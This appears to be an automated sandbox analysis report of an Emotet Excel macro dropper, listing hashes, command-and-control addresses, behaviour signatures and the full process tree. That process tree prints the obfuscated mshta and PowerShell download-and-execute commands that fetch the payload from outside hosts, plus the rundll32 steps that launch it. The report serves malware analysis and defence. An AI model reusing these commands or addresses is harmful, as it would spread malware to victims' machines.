Analysis
-
max time kernel
150s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220112 -
submitted
20-01-2022 07:03
Behavioral task
behavioral1
Sample
bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603.xlsm
Resource
win7-en-20211208
General
-
Target
bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603.xlsm
-
Size
115KB
-
MD5
cb5ae08f0635dff32c684570750108b5
-
SHA1
33c65f18d7f753d82cb4ac73540d5e53acb61d5f
-
SHA256
bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603
-
SHA512
4728bc8629c0584e23d02d4705ce607c6dd76740f4b64b089c8df5dc30f3fd3bec6d6dd4e39ab0bddb4da4fad6bc184496f580232555f74148db38455084f564
Malware Config
Extracted
http://0x5cff39c3/sec/se1.html
Extracted
http://92.255.57.195/sec/se1.png
Extracted
emotet
Epoch5
45.138.98.34:80
69.16.218.101:8080
51.210.242.234:8080
185.148.168.220:8080
142.4.219.173:8080
54.38.242.185:443
191.252.103.16:80
104.131.62.48:8080
62.171.178.147:8080
217.182.143.207:443
168.197.250.14:80
37.44.244.177:8080
66.42.57.149:443
210.57.209.142:8080
159.69.237.188:443
116.124.128.206:8080
128.199.192.135:8080
195.154.146.35:443
185.148.168.15:8080
195.77.239.39:8080
207.148.81.119:8080
85.214.67.203:8080
190.90.233.66:443
78.46.73.125:443
78.47.204.80:443
37.59.209.141:8080
54.37.228.122:443
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2996 3796 cmd.exe EXCEL.EXE -
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid process target process PID 3568 created 4056 3568 WerFault.exe mshta.exe -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
-
Blocklisted process makes network request 5 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid process 38 4056 mshta.exe 56 2700 powershell.exe 58 2700 powershell.exe 62 3680 rundll32.exe 63 3680 rundll32.exe -
Downloads MZ/PE file
-
Sets service image path in registry 2 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 4 IoCs
Processes:
rundll32.exerundll32.exerundll32.exerundll32.exepid process 3044 rundll32.exe 3316 rundll32.exe 3852 rundll32.exe 3680 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Epsznxsltf\sbiiwvzsxtanuy.dgv rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3552 4056 WerFault.exe mshta.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEWerFault.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 5 IoCs
Processes:
EXCEL.EXEWerFault.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Modifies data under HKEY_USERS 41 IoCs
Processes:
WaaSMedicAgent.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3796 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exeWerFault.exerundll32.exepid process 2700 powershell.exe 2700 powershell.exe 3552 WerFault.exe 3552 WerFault.exe 3680 rundll32.exe 3680 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2700 powershell.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
Processes:
EXCEL.EXEpid process 3796 EXCEL.EXE 3796 EXCEL.EXE 3796 EXCEL.EXE 3796 EXCEL.EXE 3796 EXCEL.EXE 3796 EXCEL.EXE 3796 EXCEL.EXE 3796 EXCEL.EXE 3796 EXCEL.EXE 3796 EXCEL.EXE 3796 EXCEL.EXE 3796 EXCEL.EXE 3796 EXCEL.EXE 3796 EXCEL.EXE -
Suspicious use of WriteProcessMemory 24 IoCs
Processes:
EXCEL.EXEcmd.exeWerFault.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 3796 wrote to memory of 3544 3796 EXCEL.EXE splwow64.exe PID 3796 wrote to memory of 3544 3796 EXCEL.EXE splwow64.exe PID 3796 wrote to memory of 2996 3796 EXCEL.EXE cmd.exe PID 3796 wrote to memory of 2996 3796 EXCEL.EXE cmd.exe PID 2996 wrote to memory of 4056 2996 cmd.exe mshta.exe PID 2996 wrote to memory of 4056 2996 cmd.exe mshta.exe PID 3568 wrote to memory of 4056 3568 WerFault.exe mshta.exe PID 3568 wrote to memory of 4056 3568 WerFault.exe mshta.exe PID 4056 wrote to memory of 2700 4056 mshta.exe powershell.exe PID 4056 wrote to memory of 2700 4056 mshta.exe powershell.exe PID 2700 wrote to memory of 1724 2700 powershell.exe cmd.exe PID 2700 wrote to memory of 1724 2700 powershell.exe cmd.exe PID 1724 wrote to memory of 3044 1724 cmd.exe rundll32.exe PID 1724 wrote to memory of 3044 1724 cmd.exe rundll32.exe PID 1724 wrote to memory of 3044 1724 cmd.exe rundll32.exe PID 3044 wrote to memory of 3316 3044 rundll32.exe rundll32.exe PID 3044 wrote to memory of 3316 3044 rundll32.exe rundll32.exe PID 3044 wrote to memory of 3316 3044 rundll32.exe rundll32.exe PID 3316 wrote to memory of 3852 3316 rundll32.exe rundll32.exe PID 3316 wrote to memory of 3852 3316 rundll32.exe rundll32.exe PID 3316 wrote to memory of 3852 3316 rundll32.exe rundll32.exe PID 3852 wrote to memory of 3680 3852 rundll32.exe rundll32.exe PID 3852 wrote to memory of 3680 3852 rundll32.exe rundll32.exe PID 3852 wrote to memory of 3680 3852 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://0x5cff39c3/sec/se1.html3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Epsznxsltf\sbiiwvzsxtanuy.dgv",rMwulOsKeF8⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Epsznxsltf\sbiiwvzsxtanuy.dgv",DllRegisterServer9⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4056 -s 17244⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p1⤵
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe a706c6a0f3472b8262c30207f0ace996 mQU6s157AESF7d3PBE+Acg.0.1.0.0.01⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow1⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 420 -p 4056 -ip 40561⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k wusvcs -p1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Public\Documents\ssd.dllMD5
32acc61226f47023b7e70deca529216a
SHA15bfe17b62987edcd8cc6e76448f9cbd8fef9d13f
SHA2565472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1
SHA512dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21
-
C:\Users\Public\Documents\ssd.dllMD5
32acc61226f47023b7e70deca529216a
SHA15bfe17b62987edcd8cc6e76448f9cbd8fef9d13f
SHA2565472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1
SHA512dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21
-
C:\Users\Public\Documents\ssd.dllMD5
32acc61226f47023b7e70deca529216a
SHA15bfe17b62987edcd8cc6e76448f9cbd8fef9d13f
SHA2565472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1
SHA512dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21
-
C:\Windows\SysWOW64\Epsznxsltf\sbiiwvzsxtanuy.dgvMD5
32acc61226f47023b7e70deca529216a
SHA15bfe17b62987edcd8cc6e76448f9cbd8fef9d13f
SHA2565472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1
SHA512dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21
-
C:\Windows\SysWOW64\Epsznxsltf\sbiiwvzsxtanuy.dgvMD5
32acc61226f47023b7e70deca529216a
SHA15bfe17b62987edcd8cc6e76448f9cbd8fef9d13f
SHA2565472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1
SHA512dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21
-
memory/2700-1681-0x000002838D420000-0x00000283A55B0000-memory.dmpFilesize
385.6MB
-
memory/2700-1653-0x00000283A5B40000-0x00000283A5B84000-memory.dmpFilesize
272KB
-
memory/2700-1589-0x000002838D420000-0x00000283A55B0000-memory.dmpFilesize
385.6MB
-
memory/2700-1506-0x000002838D420000-0x00000283A55B0000-memory.dmpFilesize
385.6MB
-
memory/2700-1439-0x00000283A5620000-0x00000283A5642000-memory.dmpFilesize
136KB
-
memory/2700-1852-0x00000283A5C10000-0x00000283A5C86000-memory.dmpFilesize
472KB
-
memory/3044-1805-0x0000000004DD0000-0x0000000004DF8000-memory.dmpFilesize
160KB
-
memory/3316-1946-0x0000000005180000-0x00000000051A8000-memory.dmpFilesize
160KB
-
memory/3316-1816-0x0000000000ED0000-0x0000000000EF8000-memory.dmpFilesize
160KB
-
memory/3316-1856-0x0000000004DB0000-0x0000000004DD8000-memory.dmpFilesize
160KB
-
memory/3316-1866-0x0000000004E90000-0x0000000004EB8000-memory.dmpFilesize
160KB
-
memory/3316-1884-0x0000000004FA0000-0x0000000004FC8000-memory.dmpFilesize
160KB
-
memory/3316-1891-0x0000000005000000-0x0000000005028000-memory.dmpFilesize
160KB
-
memory/3680-1955-0x0000000004D40000-0x0000000004D68000-memory.dmpFilesize
160KB
-
memory/3680-1951-0x0000000004480000-0x00000000044A8000-memory.dmpFilesize
160KB
-
memory/3680-1953-0x00000000049D0000-0x00000000049F8000-memory.dmpFilesize
160KB
-
memory/3680-1957-0x0000000004DA0000-0x0000000004DC8000-memory.dmpFilesize
160KB
-
memory/3680-1959-0x0000000004E80000-0x0000000004EA8000-memory.dmpFilesize
160KB
-
memory/3680-1961-0x0000000004F70000-0x0000000004F98000-memory.dmpFilesize
160KB
-
memory/3680-1963-0x0000000005070000-0x0000000005098000-memory.dmpFilesize
160KB
-
memory/3680-1965-0x0000000005170000-0x0000000005198000-memory.dmpFilesize
160KB
-
memory/3796-134-0x00007FFF2C470000-0x00007FFF2C480000-memory.dmpFilesize
64KB
-
memory/3796-135-0x00007FFF2C470000-0x00007FFF2C480000-memory.dmpFilesize
64KB
-
memory/3796-133-0x00007FFF2C470000-0x00007FFF2C480000-memory.dmpFilesize
64KB
-
memory/3852-1948-0x0000000004CD0000-0x0000000004CF8000-memory.dmpFilesize
160KB